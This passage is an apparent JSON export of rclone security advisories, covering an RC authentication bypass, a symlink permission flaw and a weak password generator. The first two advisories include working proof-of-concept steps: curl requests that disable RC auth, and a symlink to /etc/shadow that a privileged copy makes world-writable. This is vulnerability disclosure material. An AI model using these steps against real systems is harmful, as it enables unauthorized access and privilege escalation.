!s.server.UsingAuth()`\n  - once `rc.NoAuth` is changed to `true`, later `AuthRequired` methods become callable without credentials\n\nThis creates a runtime auth-bypass primitive on the RC interface.\n\nAfter setting `rc.NoAuth=true`, previously protected administrative methods become callable, including configuration and operational endpoints such as:\n\n- `config/listremotes`\n- `config/dump`\n- `config/get`\n- `operations/list`\n- `operations/copyfile`\n- `core/command`\n\nRelevant code for the second-stage command execution path:\n\n- [`fs/metadata.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/metadata.go)\n  - `metadataMapper()` uses `exec.Command(...)`\n\n- [`fs/operations/rc.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/operations/rc.go)\n  - `operations/copyfile` is normally `AuthRequired: true`\n  - once `rc.NoAuth=true`, it becomes reachable without credentials\n\nThis was validating using the following:\n- current `master` as of 2026-04-14: `bf55d5e6d37fd86164a87782191f9e1ffcaafa82`\n- latest public release tested locally: `v1.73.4`\n\nThe issue was also verified on a public amd64 Ubuntu host controlled by the tester, using direct host execution (not containerized PoC execution).\n\n### PoC\n#### Minimal reproduction\nStart a vulnerable server:\n\n```bash\nrclone rcd --rc-addr 127.0.0.1:5572\n```\n\nNo `--rc-user`, no `--rc-pass`, no `--rc-htpasswd`.\n\nFirst confirm that a protected RC method is initially blocked:\n\n```bash\ncurl -sS -X POST http://127.0.0.1:5572/config/listremotes \\\n  -H 'Content-Type: application/json' \\\n  --data '{}'\n```\n\nExpected result: HTTP 403.\n\nUse unauthenticated `options/set` to disable the auth gate:\n\n```bash\ncurl -sS -X POST http://127.0.0.1:5572/options/set \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"rc\":{\"NoAuth\":true}}'\n```\n\nExpected result: HTTP 200 `{}`\n\nThen call the same protected method again without credentials:\n\n```bash\ncurl -sS -X POST http://127.0.0.1:5572/config/listremotes \\\n  -H 'Content-Type: application/json' \\\n  --data '{}'\n```\n\nExpected result: HTTP 200 with a JSON response such as:\n\n```json\n{\"remotes\":[]}\n```\n\n#### Testing performed\nThis was successfully reproduced:\n- on the tester's ocal test environment\n- on a public amd64 Ubuntu host controlled by the tester\n\nUsing the public host, the following was confirmed:\n\n- unauthenticated `options/set` successfully set `rc.NoAuth=true`\n- previously protected RC methods became callable without credentials\n- the issue was reproducible through direct host execution\n\n### Impact\nThis is an authorization bypass on the RC administrative interface.\n\nIt can allow an unauthenticated network attacker, on a reachable RC deployment without global HTTP authentication, to disable the intended auth boundary for protected RC methods and gain access to sensitive configuration and operational functionality.\n\nDepending on the enabled RC surface and runtime configuration, this can further enable higher-impact outcomes such as local file read, credential/config disclosure, filesystem enumeration, and command execution.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-04-22T14:44:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/rclone/rclone/security/advisories/GHSA-25qr-6mpr-f7qx","https://nvd.nist.gov/vuln/detail/CVE-2026-41176","https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/rc/config.go","https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/rc/rcserver/rcserver.go","https://github.com/advisories/GHSA-25qr-6mpr-f7qx"],"source_kind":"github","identifiers":["GHSA-25qr-6mpr-f7qx","CVE-2026-41176"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-22T15:00:09.103Z","updated_at":"2026-09-07T05:02:40.831Z","epss_percentage":0.32715,"epss_percentile":0.98167,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNXFyLTZtcHItZjdxeM4ABVl6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yNXFyLTZtcHItZjdxeM4ABVl6","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.73.5","vulnerable_version_range":"\u003e= 1.45.0, \u003c 1.73.5"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNXFyLTZtcHItZjdxeM4ABVl6/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocnhoLTl3NjctZzRjds4ABBj8","url":"https://github.com/advisories/GHSA-hrxh-9w67-g4cv","title":"Rclone has Improper Permission and Ownership Handling on Symlink Targets with --links and --metadata","description":"### **tl;dr:**\n\nunprivileged user creates a symlink to /etc/sudoers, /etc/shadow or similar and waits for a privileged user or process to copy/backup/mirror users data (using `--links` and `--metadata`). unprivileged user now owns /etc/sudoers.\n\n### Summary\n\nInsecure handling of symlinks with `--links` and `--metadata` in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files (e.g., /etc/shadow), compromising system integrity, confidentiality, and availability.\n\nFor instance, an unprivileged user could set a symlink to a sensitive file within their home directory, waiting for an administrator or automated process (e.g., a cron job running with elevated privileges) to copy their files with rclone using the --links and --metadata options. Upon copying, rclone will incorrectly apply chown and chmod to the symlink’s target file rather than just the symlink itself, resulting in ownership and permission changes on the sensitive file.\n\n### Who is affected\n\nIf you are not using `--metadata` **and** `--links` **and** copying files **to** the local backend you are not affected by this issue.\n\nIf you are using `--metadata` and `-links` and copying files to the local backend but not as a superuser, then this will manifest itself as a bug by setting incorrect permissions.\n\nIf you are using `--metadata` and `-links` and copying files to the local backend but as a superuser then this could affect you.\n\n### Details\n\nWhen copying directories containing symlinks with rclone using the --links and --metadata options, rclone mistakenly applies chown and chmod operations to the target of the symlink instead of the symlink itself. As a result, ownership and permissions on sensitive system files (e.g., /etc/shadow) may be altered if they are the target of any symlink within the copied directory structure. This allows users to affect the permissions and ownership of files they should not have access to, resulting in privilege escalation and potential system compromise.\n\n### PoC\n\n```\n# Create a directory to simulate a user home directory\nroot@workstation:~# mkdir -p /tmp/home/user1\nroot@workstation:~# sudo chown user1:user1 /tmp/home/user1\n```\n```\n# As user1, create a symlink to /etc/shadow within their home directory\nroot@workstation:~# sudo -u user1 ln -s /etc/shadow /tmp/home/user1/shadow_link\n```\n```\n# List permissions on the original files\nroot@workstation:~# ls -l /tmp/home/user1/shadow_link /etc/shadow\n----------. 1 root  root  1283 Nov  5 13:30 /etc/shadow\nlrwxrwxrwx. 1 user1 user1   11 Nov  5 13:56 /tmp/home/user1/shadow_link -\u003e /etc/shadow\n```\n```\n# Copy the directory structure with rclone\nroot@workstation:~# rclone copy /tmp/home /tmp/home_new --links --metadata --log-level=DEBUG\n2024/11/05 13:56:53 DEBUG : rclone: Version \"v1.68.1\" starting with parameters [\"rclone\" \"copy\" \"/tmp/home\" \"/tmp/home_new\" \"--links\" \"--metadata\" \"--log-level=DEBUG\"]\n2024/11/05 13:56:53 DEBUG : Creating backend with remote \"/tmp/home\"\n2024/11/05 13:56:53 NOTICE: Config file \"/root/.config/rclone/rclone.conf\" not found - using defaults\n2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding \"{b6816}\" suffix to name\n2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item \"/tmp/home\" to be canonical \"local{b6816}:/tmp/home\"\n2024/11/05 13:56:53 DEBUG : Creating backend with remote \"/tmp/home_new\"\n2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding \"{b6816}\" suffix to name\n2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item \"/tmp/home_new\" to be canonical \"local{b6816}:/tmp/home_new\"\n2024/11/05 13:56:53 DEBUG : Added delayed dir = \"user1\", newDst=\u003cnil\u003e\n2024/11/05 13:56:53 DEBUG : user1/shadow_link.rclonelink: Need to transfer - File not found at Destination\n2024/11/05 13:56:53 DEBUG : user1/shadow_link.rclonelink: md5 = 2fe8599cb25a0c790213d39b3be97c27 OK\n2024/11/05 13:56:53 INFO  : user1/shadow_link.rclonelink: Copied (new)\n2024/11/05 13:56:53 DEBUG : Local file system at /tmp/home_new: Waiting for checks to finish\n2024/11/05 13:56:53 DEBUG : Local file system at /tmp/home_new: Waiting for transfers to finish\n2024/11/05 13:56:53 INFO  : user1: Updated directory metadata\n2024/11/05 13:56:53 INFO  :\nTransferred:             11 B / 11 B, 100%, 0 B/s, ETA -\nTransferred:            1 / 1, 100%\nElapsed time:         0.0s\n\n2024/11/05 13:56:53 DEBUG : 6 go routines active\n```\n```\n# List permissions again\nroot@workstation:~# ls -l /tmp/home/user1/shadow_link /etc/shadow /tmp/home_new/user1/shadow_link\n-rwxrwxrwx. 1 user1 user1 1283 Nov  5 13:30 /etc/shadow                                                 # Wrong, very wrong. Should be root:root and 0000.\nlrwxrwxrwx. 1 root  root    11 Nov  5 13:56 /tmp/home_new/user1/shadow_link -\u003e /etc/shadow              # Wrong too, should be user1:user1\nlrwxrwxrwx. 1 user1 user1   11 Nov  5 13:56 /tmp/home/user1/shadow_link -\u003e /etc/shadow\n```\n```\n# Fix /etc/shadow and clean up\nroot@workstation:~# chown root:root /etc/shadow\nroot@workstation:~# chmod 000 /etc/shadow\nroot@workstation:~# rm -rf /tmp/home /tmp/home_new\n```\n### Impact\nType of Vulnerability: Improper permissions and ownership handling on symlink targets (Insecure Handling of Symlinks)\n\nImpact: This vulnerability allows unprivileged users to modify permissions and ownership of sensitive system files by creating symlinks to those files in directories that are subsequently copied by an administrator with rclone --links --metadata. This can lead to unauthorized access, privilege escalation, and potential system compromise.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-11-19T20:36:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L","references":["https://github.com/rclone/rclone/security/advisories/GHSA-hrxh-9w67-g4cv","https://nvd.nist.gov/vuln/detail/CVE-2024-52522","https://github.com/rclone/rclone/commit/01ccf204f42b4f68541b16843292439090a2dcf0","https://github.com/advisories/GHSA-hrxh-9w67-g4cv"],"source_kind":"github","identifiers":["GHSA-hrxh-9w67-g4cv","CVE-2024-52522"],"repository_url":"https://github.com/rclone/rclone","blast_radius":8.820729660129768,"created_at":"2024-11-19T21:06:48.431Z","updated_at":"2026-09-14T14:08:10.516Z","epss_percentage":0.00216,"epss_percentile":0.12324,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocnhoLTl3NjctZzRjds4ABBj8","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocnhoLTl3NjctZzRjds4ABBj8","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.68.2","vulnerable_version_range":"\u003e= 1.59.0, \u003c 1.68.2"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocnhoLTl3NjctZzRjds4ABBj8/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXJtdzUteHBnOS1qcjI5","url":"https://github.com/advisories/GHSA-rmw5-xpg9-jr29","title":"Use of Cryptographically Weak Pseudo-Random Number Generator in Rclone","description":"An issue was discovered in Rclone before 1.53.3. Due to the use of a weak random number generator, the password generator has been producing weak passwords with much less entropy than advertised. The suggested passwords depend deterministically on the time the second rclone was started. This limits the entropy of the passwords enormously. These passwords are often used in the crypt backend for encryption of data. It would be possible to make a dictionary of all possible passwords with about 38 million entries per password length. This would make decryption of secret material possible with a plausible amount of effort. NOTE: all passwords generated by affected versions should be changed.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-06-10T17:23:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-28924","https://github.com/rclone/rclone/issues/4783","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UJIFT24Q6EFXLQZ24AER2QGFFZLMIPCD/","https://security.gentoo.org/glsa/202107-14","https://github.com/advisories/GHSA-rmw5-xpg9-jr29"],"source_kind":"github","identifiers":["GHSA-rmw5-xpg9-jr29","CVE-2020-28924"],"repository_url":"https://github.com/rclone/rclone","blast_radius":0.0,"created_at":"2022-12-21T16:12:59.710Z","updated_at":"2026-09-15T22:13:51.403Z","epss_percentage":0.01364,"epss_percentile":0.69556,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXJtdzUteHBnOS1qcjI5","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXJtdzUteHBnOS1qcjI5","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.53.3","vulnerable_version_range":"\u003c 1.53.3"}],"purl":"pkg:go/github.com%2Frclone%2Frclone","statistics":{"dependent_packages_count":83,"dependent_repos_count":43,"downloads":null,"downloads_period":null},"affected_versions":["v1.43.1","v1.46.0","v1.47.0","v1.48.0","v1.49.0","v1.49.1","v1.49.2","v1.49.3","v1.49.4","v1.49.5","v1.50.0","v1.50.1","v1.50.2","v1.51.0","v1.52.0","v1.52.1","v1.52.2","v1.52.3","v1.53.0","v1.53.1","v1.53.2"],"unaffected_versions":["v1.53.3","v1.53.4","v1.54.0","v1.54.1","v1.55.0","v1.55.1","v1.56.0","v1.56.1","v1.56.2","v1.57.0","v1.58.0","v1.58.1","v1.59.0","v1.59.1","v1.59.2","v1.60.0","v1.60.1","v1.61.0","v1.61.1","v1.62.0","v1.62.1","v1.62.2","v1.63.0","v1.63.1","v1.64.0","v1.64.1","v1.64.2","v1.65.0","v1.65.1","v1.65.2","v1.66.0","v1.67.0","v1.68.0","v1.68.1","v1.68.2","v1.69.0","v1.69.1","v1.69.2","v1.69.3","v1.70.0","v1.70.1","v1.70.2","v1.70.3","v1.71.0","v1.71.1","v1.71.2","v1.72.0","v1.72.1","v1.73.0","v1.73.1","v1.73.2","v1.73.3","v1.73.4","v1.73.5","v1.74.0","v1.74.1","v1.74.2","v1.74.3","v1.74.4","v1.75.0","v1.75.1"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXJtdzUteHBnOS1qcjI5/related_packages","related_advisories":[]}]